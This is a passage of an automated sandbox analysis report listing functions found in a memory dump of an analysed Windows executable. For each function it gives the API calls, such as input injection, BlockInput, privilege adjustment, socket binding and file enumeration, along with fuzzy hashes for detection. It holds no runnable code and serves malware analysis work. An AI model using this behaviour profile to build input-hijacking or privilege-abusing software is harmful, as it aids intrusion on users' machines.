Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 4b2a5b7c5a11f6c29b80b214483427695541361d03aca65c943c0a662c90776b
Instruction ID: d77a61569c15e88bf6cbe4e81dc28048c9c68a8efd0d030f01d63dbe35adb939
Opcode Fuzzy Hash: 4b2a5b7c5a11f6c29b80b214483427695541361d03aca65c943c0a662c90776b
Instruction Fuzzy Hash: 7831CF72504356ABC720DF96C945F6BB7AEFF84710F000919F9859B181DB34E909CB92

Function 00AD9B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00AD9B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00AD9C8B

Part of subcall function 00AD3874: GetInputState.USER32 ref: 00AD38CB
Part of subcall function 00AD3874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00AD3966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00AD9BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00AD9C75

Strings

*.*, xrefs: 00AD9B5D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: db5b1bf1c5b82e9468365f2377e81c22544a66e9d27f680f9d93787b0a19a596
Instruction ID: 751f0ef9dff28015fad4c3d214bdc0dcbf6561dd1ad8925a66beffc45e3cbb3f
Opcode Fuzzy Hash: db5b1bf1c5b82e9468365f2377e81c22544a66e9d27f680f9d93787b0a19a596
Instruction Fuzzy Hash: DE41517190420AAFCF54DFA4CA49AEFBBB8EF05310F144156E816A72A1EB30DE45DF61

Function 00A7997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00A79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00A79BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00A79A4E
GetSysColor.USER32(0000000F), ref: 00A79B23
SetBkColor.GDI32(?,00000000), ref: 00A79B36

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 60707af267198312de4dae69c89218e4ed57470f2ce93d27acb457d2aa2583f6
Instruction ID: 8df097d06d52ec221599227b574955142154234688607fbd95d4ffe3a23e136f
Opcode Fuzzy Hash: 60707af267198312de4dae69c89218e4ed57470f2ce93d27acb457d2aa2583f6
Instruction Fuzzy Hash: FCA13A70109404AEE724EB7C8D58EBF36ADDBC2380F25C21BF10AC6696CE659D42D376

Function 00AE1806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00AE307A
Part of subcall function 00AE304E: _wcslen.LIBCMT ref: 00AE309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00AE185D
WSAGetLastError.WSOCK32 ref: 00AE1884
bind.WSOCK32(00000000,?,00000010), ref: 00AE18DB
WSAGetLastError.WSOCK32 ref: 00AE18E6
closesocket.WSOCK32(00000000), ref: 00AE1915

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: a14f48867185410a299a061054f2222a3c32abddd8d0444924fdd693c7a5c334
Instruction ID: 0cec0cebc0a2a8ee656344c7ce9d8c76f4c5251b731aa5762bc69d42556a436a
Opcode Fuzzy Hash: a14f48867185410a299a061054f2222a3c32abddd8d0444924fdd693c7a5c334
Instruction Fuzzy Hash: 1D51AF71A00210AFDB10EF65C986F6A77E5AB44718F088498F94A9F3D3D771AD42CBE1

Function 00AF1C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00AF1CC0
IsWindowEnabled.USER32 ref: 00AF1CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00AF1CDB
IsIconic.USER32 ref: 00AF1CE9
IsZoomed.USER32 ref: 00AF1CF7

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 977f1d5b6dbe9d31c4f8ca788d910ed977c944c98d4d0b8f7ce89ec9f7c2d604
Instruction ID: f057147cea52b645f614bb55de244ab691f73705aa05d4743e663bdb41e9aa56
Opcode Fuzzy Hash: 977f1d5b6dbe9d31c4f8ca788d910ed977c944c98d4d0b8f7ce89ec9f7c2d604
Instruction Fuzzy Hash: B3219F317402189FD7209FAAC884B7A7BA5EF95325B198068F946CB351DB71EC43CB90

Function 00ACAA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00ACAAAC
SetKeyboardState.USER32(00000080), ref: 00ACAAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00ACAB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00ACAB88

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 451b1d7ef4703476dceafe8221d248f34632006ed82d1acb29ce85f823241b9a
Instruction ID: d00b61a803003741c55b1556b29b1350e4c2cf7c55859ed420d0ff13974d2064
Opcode Fuzzy Hash: 451b1d7ef4703476dceafe8221d248f34632006ed82d1acb29ce85f823241b9a
Instruction Fuzzy Hash: 09310570A8020CAEEF35CBA9CC05FFA7BB6AB64324F05421EF185961D1D7758D81C762

Function 00AD5C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00AD5CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00AD5D17
FindClose.KERNEL32(?), ref: 00AD5D5F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 7d52486890fe1bd0360f720773cfaf36676a4813df724bf8678fa5c6eb918fcc
Instruction ID: 2d99dc377e2b2079ba345a92c590b1d1a493254b173cbc42223d67aff520ceaf
Opcode Fuzzy Hash: 7d52486890fe1bd0360f720773cfaf36676a4813df724bf8678fa5c6eb918fcc
Instruction Fuzzy Hash: F2518A34A046019FC714DF68C494A96B7F5FF49324F14855EE99A8B3A1DB30E905CFA1

Function 00A92622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00A9271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00A92724
UnhandledExceptionFilter.KERNEL32(?), ref: 00A92731

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 2592a56670a607ebfe7591c4eec1eec6b4bcf0056c623c084b9d0aa29ba89bb7
Instruction ID: 0fd99a8154662e7edf48071216fa33faeb759a091c3d1702c5d41334899dbc10
Opcode Fuzzy Hash: 2592a56670a607ebfe7591c4eec1eec6b4bcf0056c623c084b9d0aa29ba89bb7
Instruction Fuzzy Hash: AA31C47490121CABCB21DF68DD88B9DBBB8AF08310F5041EAE41CA7260E7309F858F44

Function 00AD51CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00AD51DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00AD5238
SetErrorMode.KERNEL32(00000000), ref: 00AD52A1

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 1c034b49a6ad6f57a23c4bf6db074b41a4e3afd90cdb0f9acaf4549549449623
Instruction ID: b92363be282677d54214662f79686a3eb1cb01d87e9e5be33e170ee5dbda5407
Opcode Fuzzy Hash: 1c034b49a6ad6f57a23c4bf6db074b41a4e3afd90cdb0f9acaf4549549449623
Instruction Fuzzy Hash: A1313075A10518DFDB00DF94D984EEDBBB4FF49314F048099E846AB352DB31E85ACB91

Function 00AC16C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00A7FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00A80668
Part of subcall function 00A7FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00A80685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00AC170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00AC173A
GetLastError.KERNEL32 ref: 00AC174A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 0a87b80864d116bd4a56e5149317252d5add97a7226db73d3e4faaef41ff3676
Instruction ID: 1e00b16afe0ed7e74d6819d8cc034499aaeae36f60beb079e93ff109ae42ad3c
Opcode Fuzzy Hash: 0a87b80864d116bd4a56e5149317252d5add97a7226db73d3e4faaef41ff3676
Instruction Fuzzy Hash: E211C1B2500308FFD728DF94DD86E6AB7B9EB04724B21C52EE05657242EB70BD42CA20

Function 00ACD5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00ACD608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00ACD645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00ACD650

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: c661d0dbe31eb796679c9be2b246dee7cda2344cf608618f79940e26cbf3f25d
Instruction ID: 1cf76616b8cdee1545280cfff1e4f3057e7a1afc1763e88c8d4b153fa5c1cff4
Opcode Fuzzy Hash: c661d0dbe31eb796679c9be2b246dee7cda2344cf608618f79940e26cbf3f25d
Instruction Fuzzy Hash: D2113075E05228BBDB108F959D45FAFBBBCEB45B60F104125F904E7290D6704A05CBA1

Function 00AC1663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00AC168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00AC16A1
FreeSid.ADVAPI32(?), ref: 00AC16B1

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: d9b90e392383dcc58832b1346e6bcaba5123e11fa48ce202ba63ea5a1816e379
Instruction ID: 1d16de33ed32a1db6d6bc777e743e13bff130b37b7bbf115166a8cbff71cb19d
Opcode Fuzzy Hash: d9b90e392383dcc58832b1346e6bcaba5123e11fa48ce202ba63ea5a1816e379
Instruction Fuzzy Hash: FAF0447194030CFBDB00CFE08D89EAEBBBCEB08210F004864E500E2181E730AA059A50

Function 00A9C2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 00A9C36C

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 78d8f037e0d0929b9568b60f6333c51171cabadf8e1fe6881da033b5bb597e2f
Instruction ID: 7e8150e8c5dd0fd56bcb11b56546b133c703b025b13d5c75d61f3582f7de8973
Opcode Fuzzy Hash: 78d8f037e0d0929b9568b60f6333c51171cabadf8e1fe6881da033b5bb597e2f
Instruction Fuzzy Hash: 98414972600619AFCF20AFB9CC48EBBB7F8EB84364F504269F905DB181E6709D41CB50

Function 00ABD27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00ABD28C

Strings

X64, xrefs: 00ABD2A8

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: c8e6b3de319f3a56f463561d37a6a10b7c1df5f89acb1b76b2e229ae970a9654
Instruction ID: c32bd1cdba3899a8c269c2e17630e06ac970694de427b5d055e9a71a8e3fc2a4
Opcode Fuzzy Hash: c8e6b3de319f3a56f463561d37a6a10b7c1df5f89acb1b76b2e229ae970a9654
Instruction Fuzzy Hash: 93D0C9B480116DEACB94CB90DC88DD9B37CBF04345F104155F106A2000DB30964A8F10

Function 00AD68EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00AD6918
FindClose.KERNEL32(00000000), ref: 00AD6961

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 02676cfa013b55a0195c9ab464ba4e2c193fb5b860500b35e19440fd0dee44c4
Instruction ID: 9baf1090db498e64f81ff3a173e995e3e2fd432de20c6aa5a3893238d174b4fa
Opcode Fuzzy Hash: 02676cfa013b55a0195c9ab464ba4e2c193fb5b860500b35e19440fd0dee44c4
Instruction Fuzzy Hash: 4411B2316142009FC710DF69D484A26BBE5FF89328F14C69AF46A8F3A2C730EC05CB91

Function 00AD37B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00AE4891,?,?,00000035,?), ref: 00AD37E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00AE4891,?,?,00000035,?), ref: 00AD37F4

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: cc16fd7d36c5c9525ff96495e8433ca0bd614de8f5bc6873ece6fed19df28235
Instruction ID: 5b648860e1c3e845dba2374faa9f5e1b7aafa8077a2e14fa679eab8e153b4d6f
Opcode Fuzzy Hash: cc16fd7d36c5c9525ff96495e8433ca0bd614de8f5bc6873ece6fed19df28235
Instruction Fuzzy Hash: 6CF0ECB56052192ADB1057A64D4DFEB766DDFC5771F000166F505E22C1D5605904C6B1

Function 00ACB226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00ACB25D
keybd_event.USER32(?,75A8C0D0,?,00000000), ref: 00ACB270

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 649afa4dae3842384edf6b00dd1eda3970d6de121a2a14823fedb4b92d317f90
Instruction ID: 0b8339dabb7bb8a0ed7609036519af5be1f206e7043c1067d3d8836a64aa1ab5
Opcode Fuzzy Hash: 649afa4dae3842384edf6b00dd1eda3970d6de121a2a14823fedb4b92d317f90
Instruction Fuzzy Hash: 82F01D7581424DABDB05DFA1C806BFE7BB4FF04315F008409F955A6191C3799615DFA4

Function 00AC10BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00AC11FC), ref: 00AC10D4
CloseHandle.KERNEL32(?,?,00AC11FC), ref: 00AC10E9

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 951fa77f090658c2d2f38ef68acc8e918ad3d18314d966f5d06b3cff0c14f644
Instruction ID: 488d3bcc660c6266362bac737c461e77c79faf92cca441d227b5dff8ff7eb416
Opcode Fuzzy Hash: 951fa77f090658c2d2f38ef68acc8e918ad3d18314d966f5d06b3cff0c14f644
Instruction Fuzzy Hash: 6BE04F32008600AEE7252B91FD05E7377A9EF04320B10C82DF4A5804B1DB626C91DB10

Function 00ADEAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00ADEABD

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
